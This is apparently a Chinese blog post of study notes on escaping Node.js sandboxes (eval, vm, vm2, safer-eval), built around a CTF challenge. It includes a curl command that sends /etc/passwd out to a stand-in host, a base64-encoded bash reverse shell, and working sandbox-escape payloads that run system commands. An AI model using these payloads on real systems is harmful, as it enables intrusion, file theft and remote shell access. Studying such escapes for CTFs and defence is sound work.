zoukankan      html  css  js  c++  java
  • NodeJS沙箱逃逸&&vm

    NodeJS沙箱逃逸

    关于nodejs的沙箱

    使用场景
    1. 在线代码编辑器
    2. 第三方js代码
    3. jsonp,like百度搜索框

     

    https://www.baidu.com/s?wd=nodejs&ming=aa
    
    此处wd为关键词,ming为函数名。
    
    output:
    
    a({q:"123",p:false,s:["12306","12306铁路客户服务中心","12308汽车订票官网","12306火车票网上订票官网","12333","12315","12345","12333社保查询网","123网址之家","12366"]});  
    
    注意在此处,s为关键词开始的数据组成的数据。  
    
    所以JSONP的基本思想是,网页通过添加一个<script>元素,向服务器请求JSON数据,所以json就是被包含在函数当中的josn,使用<script>元素进行Ajax传输,此时我们是不受同源策略影响的,这样就可以从其他的服务器请求数据,同事客户端也会将其自行解码的。
    
    1. vue的服务端渲染/表达式计算

    沙箱逃逸

    在nodejs当中了,eval始终存在着一定的问题,能够出乎意料的执行系统命令。

    对于存在利用可能性的eval函数,可以使用chile_process.exec来间接调用/bash.sh。
    它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
    
    like:
    
    读取文件:
    
    require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;   
    
    反弹shell:  
    
    q=require('child_process').exec('echo YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xLzQ0NDQgMCZndDsmMQ==|base64 -d|bash');  
    
    即bash -i >& /dev/tcp/192.168.114.1/4444 0>&1  
    

    类eval函数:

    setInteval(some_function, 2000)
    
    setTimeout(some_function, 2000);
    
    相当于匿名函数,即php当中create_function。
    
    vm

    vm是一个不安全的模块,包括vm2。

    创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。

    因为this.constructor.constructor返回的是Function constructor,所以可以利用Function构造函数并执行,同时Function对象处于主程序中,这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。

        const vm = require("vm");
        const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
        process.mainModule.require('child_process').execSync('whoami').toString()`);
        console.log(env); //调用了child_progress
    

    在vm2当中,可以通过制造错误,引起外部报错,再捕获外部的报错实现逃逸

    收集目标信息,使用js=Error().stack

    Error
        at vm.js:1:1
        at ContextifyScript.Script.runInContext (vm.js:59:29)
        at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62)
        at /usr/src/app/server.js:51:33
        at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    

    可以发现设置的模块,如vm.js,查找可pass的poc。

    https://github.com/patriksimek/vm2/issues/225

    相关题目

    2020 HUFUCTFweb just_escape
    [GKCTF2020]EZ三剑客-EzNode
    const express = require('express');
    const bodyParser = require('body-parser');
    
    const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
    
    const fs = require('fs');
    
    const app = express();
    
    
    app.use(bodyParser.urlencoded({ extended: false }));
    app.use(bodyParser.json());
    
    // 2020.1/WORKER2 老板说为了后期方便优化
    app.use((req, res, next) => {
      if (req.path === '/eval') {
        let delay = 60 * 1000;
        console.log(delay);
        if (Number.isInteger(parseInt(req.query.delay))) {
          delay = Math.max(delay, parseInt(req.query.delay));
        }
        const t = setTimeout(() => next(), delay);
        // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
        setTimeout(() => {
          clearTimeout(t);
          console.log('timeout');
          try {
            res.send('Timeout!');
          } catch (e) {
    
          }
        }, 1000);
      } else {
        next();
      }
    });
    
    app.post('/eval', function (req, res) {
      let response = '';
      if (req.body.e) {
        try {
          response = saferEval(req.body.e);
        } catch (e) {
          response = 'Wrong Wrong Wrong!!!!';
        }
      }
      res.send(String(response));
    });
    

    poc:

    const saferEval = require("./src/index");
    
    const theFunction = function () {
      const process = clearImmediate.constructor("return process;")();
      return process.mainModule.require("child_process").execSync("whoami").toString()
    };
    const untrusted = `(${theFunction})()`;
    
    console.log(saferEval(untrusted));
    
  • 相关阅读:
    nodejs利用windows API读取文件属性(dll)
    nodejs调用delphi编写的dll
    Ubuntu 安装配置Jenkins
    electron将网站打包成桌面应用
    NW.js将网站打包成桌面应用
    Jenkins配置邮件SMTP(使用QQ邮箱)
    Jenkins搭建Nodejs自动化测试
    Ubuntu 安装node.js
    使用superobject 解析Json数据
    使用superobject 新建Json数据(数组)
  • 原文地址:https://www.cnblogs.com/ophxc/p/13663121.html
Copyright © 2011-2022 走看看